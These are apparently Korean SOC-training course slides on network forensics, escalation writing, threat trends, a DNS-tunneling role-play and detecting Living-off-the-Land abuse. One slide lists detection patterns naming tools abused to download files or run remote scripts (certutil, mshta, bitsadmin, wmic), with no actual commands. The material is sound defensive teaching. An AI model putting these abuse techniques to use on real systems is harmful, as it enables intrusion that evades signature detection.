보강 설명실제 침해 시 네트워크 포렌식 워크플로우 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

심화 과제339

최종 심화 과제 — 침해 시뮬레이션 분석

실제 공격 캠페인의 PCAP + 로그 세트를 분석해 전체 공격 체인을 재구성한다.

📦 과제 데이터셋

🔴 12시간 분량 Zeek 로그 세트

🟡 관련 구간 Wireshark PCAP 파일

🔵 방화벽 + DNS + Proxy 로그

🟣 시나리오: APT 그룹 초기 침투 ~ DB 접근

📝 제출 산출물

1. 공격 타임라인 (15개 이벤트 이상)

2. IOC 목록 (IP/도메인/JA3)

3. ATT&CK 매핑 (최소 5 기법)

4. 탐지 룰 2개 이상 (Suricata/SPL)

5. 경영진 보고서 (1페이지)

보강 설명최종 심화 과제 — 침해 시뮬레이션 분석는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

동향 분석340

2024~2025 네트워크 보안 주요 동향

동향을 파악하면 어떤 공격이 증가하는지 예측하고 선제적으로 대비할 수 있다.

🔴 급증 위협

랜섬웨어 이중 협박(RaaS) | VPN/방화벽 취약점 익스플로잇 | 공급망 공격 | GenAI 활용 Spear Phishing

🟡 기술 트렌드

QUIC/HTTP3 확산으로 탐지 어려움 증가 | DoH/DoT 확산 | 클라우드 네이티브 공격 증가

🔵 방어 기술 트렌드

NDR(Network Detection & Response) 확산 | XDR 통합 플랫폼 | AI 기반 이상 탐지 | ZTNA 전환 가속

🟢 한국 특이 동향

북한 연계 APT 활동 지속 | 금융/제조 타겟 집중 | KRCERT/CC 협조 탐지 강화

보강 설명2024~2025 네트워크 보안 주요 동향는 최신 도구 이름보다 탐지 환경이 어떻게 바뀌는지에 집중해서 읽으면 좋다. 암호화 확산, 클라우드 전환, 자동화 증가는 네트워크 분석의 질문 자체를 바꾸고 있다.

동향운영 변화대비 포인트

핵심 변화

암호화 증가로 내용보다 메타데이터·행동 패턴의 중요성이 커진다
클라우드와 SaaS 확대로 패킷보다 서비스 로그 의존도가 높아진다
자동화 도구는 탐지 속도를 올리지만 검증 책임은 여전히 사람에게 있다

조직이 준비할 것

센서 위치와 수집 정책, 보존 기간부터 먼저 재점검
정상 기준선과 예외 목록을 최신 환경 변화에 맞춰 갱신
새 기술 도입 시 탐지 공백과 오탐 증가 지점을 함께 검토

실무 적용

동향 슬라이드는 우리 조직의 탐지 공백 점검표로 전환해 보는 것이 좋다
기술 유행보다 우리 환경에서 바로 바뀌는 로그 소스부터 확인
새로운 프로토콜과 서비스는 기준선 없이 운영하면 바로 노이즈가 된다

보안 문화341

네트워크 보안 사고의 인적 요인

가장 정교한 네트워크 공격도 결국 사람을 통해 시작된다. 사용자 인식이 방어의 첫 선이다.

👤 주요 인적 위험

피싱 URL 클릭 → 악성코드 설치

약한 비밀번호 → Brute Force 성공

개인 기기 업무망 연결 (BYOD)

USB 무단 연결

VPN 자격증명 공유

🎓 SOC가 기여할 수 있는 것

피싱 시뮬레이션 결과 공유

최근 공격 사례를 알기 쉽게 전달

이상 행위 신고 채널 운영

탐지 결과로 교육 콘텐츠 제작

보강 설명네트워크 보안 사고의 인적 요인의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

역할극342

역할극 — 신입 SOC 분석가의 첫 근무일

아래 상황에서 당신이라면 어떻게 행동하겠는가? 배운 것을 실전으로 연결해보자.

🚨 상황

오전 9시 20분, 근무 시작한 지 1시간도 안 됐는데 SIEM에서 "Possible DNS Tunneling" 알람이 발생했다. 출발지는 내부 HR팀 직원 PC(10.0.2.44), 목적지는 모르는 도메인. 선임은 잠깐 자리를 비웠다.

🤔 그룹 토론 질문

Q1. 가장 먼저 확인할 것은?

Q2. 오탐일 가능성은?

Q3. 에스컬레이션 시점은?

Q4. 선임이 돌아올 때 보고 내용은?

정답은 없다.
판단 근거와
사고 과정이 중요하다.

보강 설명역할극 — 신입 SOC 분석가의 첫 근무일의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

최신 위협343

Living off the Land — 정상 도구 악용 탐지

공격자가 운영 도구(certutil, powershell, wmic)를 악용하면 시그니처 탐지를 우회한다. 행위로 탐지해야 한다.

🔧 주요 LotL 네트워크 패턴

certutil.exe → 외부 파일 다운로드

PowerShell → 외부 HTTPS 연결

mshta.exe → HTTP 원격 스크립트

bitsadmin → 외부 파일 전송

wmic → 원격 명령 실행

🔍 네트워크 탐지 접근

EDR 프로세스 → 네트워크 연결 연계

해당 프로세스의 목적지 도메인 평판

업무 외 시간대 시스템 프로세스 연결

기준선 대비 이상한 목적지

LotL 탐지 = EDR + 네트워크 강력 연계 필수

보강 설명Living off the Land — 정상 도구 악용 탐지의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

총정리344

Module 3 학습 여정 — 처음부터 지금까지

우리가 걸어온 길을 돌아보자. 각 Part에서 무엇을 배웠는가.

Part 1~2. 보안관제 & 최소 언어

SOC가 왜 존재하는지, IP/Port/Protocol의 의미

Part 3~4. TCP/UDP & 패킷

TCP 핸드셰이크, Flags, Flow 개념, PCAP 읽기

Part 5~7. DNS/HTTP/공격패턴

DNS Tunneling, HTTP 이상, Beaconing, Port Scan

Part 8~9. 도구 & 실습

Wireshark/Zeek/SIEM, 워크샵 A~O 시나리오

부록. 심화 & 참조

ATT&CK, TI, 포렌식, 클라우드, 자동화, 커리어

최종. 운영 실무 & 미래

일일 루틴, 에스컬레이션, 자동화 로드맵, 트렌드

보강 설명Module 3 학습 여정 — 처음부터 지금까지는 수업을 끝내는 장면이 아니라 이후의 학습과 실습 루틴을 연결하는 슬라이드다. 반복적으로 로그를 읽고 판단문을 쓰는 습관이 결국 분석 품질을 만든다.

다음 단계루틴성장

다음 2주에 할 일

수업에서 본 예시 로그를 다시 읽고 1장 요약 만들기
Wireshark/Zeek/Flow 중 하나를 골라 손에 익힐 정도로 반복
자주 틀린 개념을 개인 치트시트로 정리하기

실무 감각 키우기

하루 10분이라도 정상과 이상 예시를 비교해 보는 루틴 만들기
동향 자료는 제목만 읽지 말고 우리 환경에 어떤 의미인지 적기
결론보다 근거와 추가 확인 질문을 쓰는 습관 유지

후속 학습 추천

Module 4의 SIEM 규칙과 상관분석에서 지금 배운 네트워크 지식이 재사용됨
PCAP·Threat Hunting·룰 튜닝은 작은 과제를 반복할수록 빨라진다
팀 내 리뷰를 통해 보고 문장의 명확성을 계속 다듬기

Fin.345

훌륭한 분석가는
데이터가 말하게 한다

Module 3. 네트워크 & 패킷 분석 — 완료

🌐

한국인터넷진흥원

🦉

(주)아울네스트

🛡️

AI 보안운영 양성과정

보강 설명훌륭한 분석가는 데이터가 말하게 한다 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기